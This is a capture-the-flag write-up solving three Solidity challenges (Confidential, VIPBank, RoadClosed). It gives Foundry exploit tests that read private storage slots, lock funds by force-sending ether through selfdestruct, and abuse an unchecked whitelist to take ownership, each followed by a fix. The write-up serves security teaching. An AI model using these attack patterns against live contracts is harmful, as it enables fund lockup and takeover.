Solutions of all retired challenges can be found here.
This contract checks whether the keccak256 hash of aliceHash and bobHash is same to inputted hash. The given task is to find the keccak256 hash of aliceHash and bobHash, which is to get true from checkthehash
function. hash
function can calculate the keccak256 hash from two inputted bytes32
variables.
Confidential contract is initialising the private keys and hashes as private varibles in contract itself which is the vulnerability here because these variables are placed in storage with slot numbers. Anyone can just count the slot in which the private key is located and call it. In this case the slots are 4(aliceHash) and 9(bobHash).
1. Setup the contract and attacker
2. Load the hashes of alice and bob from the respective slots in storage using load
function.
3. Calculate the keccak256 hash of aliceHash and bobHash now using hash
function of the contract.
4. Verify the calculated hash using checkthehash
function of the contract which will return true
.
I used Foundry to test the Exploit. In foundry load
function can get the variables from the deployed contract’s storage. Below is the test contract I used.
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.7;
import “@forge-std/Test.sol”;
import “../src/ConfidentialHash.sol”;
// @author: viking71
// Vulnerability: Confidential contract is initialising the private keys and hashes as private varibles in contract itself which is the vulnerability here because these variables are placed in
// storage with slot numbers. Anyone can just count the slot in which the private key is located and call it. In this case the slots are 4(aliceHash)
// and 9(bobHash). In foundry load function can get the varibles from the deployed contract’s storage.
contract ConfidentialTest is Test {
Confidential public confidential;
address public attacker;
function setUp() public {
attacker = vm.addr(1); // attacker
confidential = new Confidential(); // deploying the contract
}
function testExploit() public {
vm.startPrank(attacker);
// loading the “aliceHash” from the deployed contract’s storage from slot 4
bytes32 aliceHash = vm.load(address(confidential), bytes32(uint256(4)));
// loading the “bobHash” from the deployed contract’s storage from slot 9
bytes32 bobHash = vm.load(address(confidential), bytes32(uint256(9)));
// creating the keccak256 hash of aliceHash and bobHash
bytes32 hash_value = confidential.hash(aliceHash, bobHash);// verifying the hashes match
bool value = confidential.checkthehash(hash_value);
assert(value == true);
vm.stopPrank();
}
}
Never store the private keys of any other sensitive content in contract because anyone access it from the storage.
The Objective of this challenge was at any cost, lock the VIP user balance forever into the contract. This contract is written in way a only VIPs can deposit and withdrawn amount. The actors are manager (privileged role who can add VIPs) and VIPs (who can deposit and withdrawn amount). Then there is another function which shows the balance of the contract which can be accessed by anyone.
The first require statement in withdraw
function is not checking the amount correctly. This is basically wrong implementation of logic. The statement should check for inputted amount should not exceed 0.5 ETH but instead it checks for contract balance not greater than 0.5 ETH. Due to this attacker can just create a contract, selfdestruct to send it’s balance to VIPBank contract, and increase it’s balance to fail that condition. Finally then no VIP can withdraw their balance because contract balance won’t be less then 0.5 ETH or equal.
1. Attacker creates a new contract which will selfdestruct
while calling the destroy
function and send it’s balance to VIPBank
contract.
2. The attacker deploying the Attack
contract and sending ether to it.
3. Attacker calling the destroy
function.
3. Alice tries to withdraw and transaction fails.
I used Foundry to test the Exploit.
// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.8.7;
import “@forge-std/Test.sol”;
import “../src/VIPBank.sol”;
// @author: viking71
contract Attack {
address public vipbank;
constructor(address vb) {
vipbank = vb;
}
receive() external payable{}
function destroy() public {
selfdestruct(payable(vipbank));
}
}
contract VIPBankTest is Test {
VIP_Bank public vipBank;
address public manager;
address public attacker;
address public alice;
function setUp() public {
manager = vm.addr(1); // manager
attacker = vm.addr(2); // attacker
alice = vm.addr(3); // alice (VIP)
vm.deal(alice, 1 ether);
vm.deal(attacker, 1 ether);
vm.startPrank(manager);
vipBank = new VIP_Bank(); // manager deploys the contract
vipBank.addVIP(alice); // manager makes alice as VIP
vm.stopPrank();
}
function testExploit() public {
vm.startPrank(alice);
vipBank.deposit{value: 0.05 ether}(); // alice deposits 0.001 ETH into VIP Bank
vm.stopPrank();
vm.startPrank(attacker);
assertEq(0.05 ether, vipBank.contractBalance()); // current balance of contract is 0.05 ETH
Attack attack = new Attack(address(vipBank)); // deploying the Attack contract
payable(attack).transfer(1 ether); // transferring some ether to Attack contract
attack.destroy(); // destructing the contract to increase the VIPBank contract balance
vm.stopPrank();
assertEq(vipBank.contractBalance(), 1.05 ether); // contracts balance is more than 0.5 ETH
// alice tries to withdraw her 0.05 ether but transcation reverts back
vm.prank(alice);
vm.expectRevert();
vipBank.withdraw(0.05 ether);
}
}
The first require statement should be changed like below in withdraw
function
require(_amount <= maxETH, “Cannot withdraw more than 0.5 ETH per transaction”)`
This will help VIP users of bank to withdraw the amount they deposited.
This contract basically changes the owner of the contract, but only those who are whitelisted can be changed. To be whitelisted, one can call that addToWhitelist
function. Once someone becomes owner they can pwn the contract, but only EOA address can pwn because there is condition check for that.
Main vulnerability in contract is in addToWhitelist
function because there is no proper check who can be whitelisted. The function only checks whether the caller is not contract. Due to this attacker easily add himself/herself to whitelist and change the owner.
1. As an attacker call the addToWhitelist
function and get added to whitelist to become owner. Make sure you call from a EOA.
2. Call the changeOwner
function to become the owner.
3. Call the pwn function to change the bool (hacked
) value to true.
4. Verify the owner
and hacked
variables whether is it changed.
I used Foundry to test the Exploit. Below is the test contract I used.
// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.8.7;
import “@forge-std/Test.sol”;
import “../src/RoadClosed.sol”;
contract RoadClosedTest is Test {
RoadClosed public roadClosed;
address public deployer;
address public attacker;
function setUp() public {
deployer = vm.addr(1); // deployer
attacker = vm.addr(2); // attacker
vm.startPrank(deployer);
roadClosed = new RoadClosed();
vm.stopPrank();
}
function testExploit() public {
vm.startPrank(attacker);
roadClosed.addToWhitelist(attacker); // first adding ourself to the whitelist to become the owner
roadClosed.changeOwner(attacker); // change to owner as attacker
roadClosed.pwn(attacker); // then call the function pwn to set the hacked bool to true
bool hacked = roadClosed.isHacked(); //verifying hacked bool value is true
bool owner = roadClosed.isOwner(); // verifying the owner of contract is true
vm.stopPrank();
assert(owner == true); // required first objective, become the owner of the contract
assert(hacked == true); // required second objective, change the value of hacked to true
}
}
Adding a require statement in addToWhitelist
to check whether the caller is current owner of the contract, so that he can add addresses to whitelist.
require(owner == msg.sender, “Not current owner!”);
Will update this writeup once a challenge gets retired.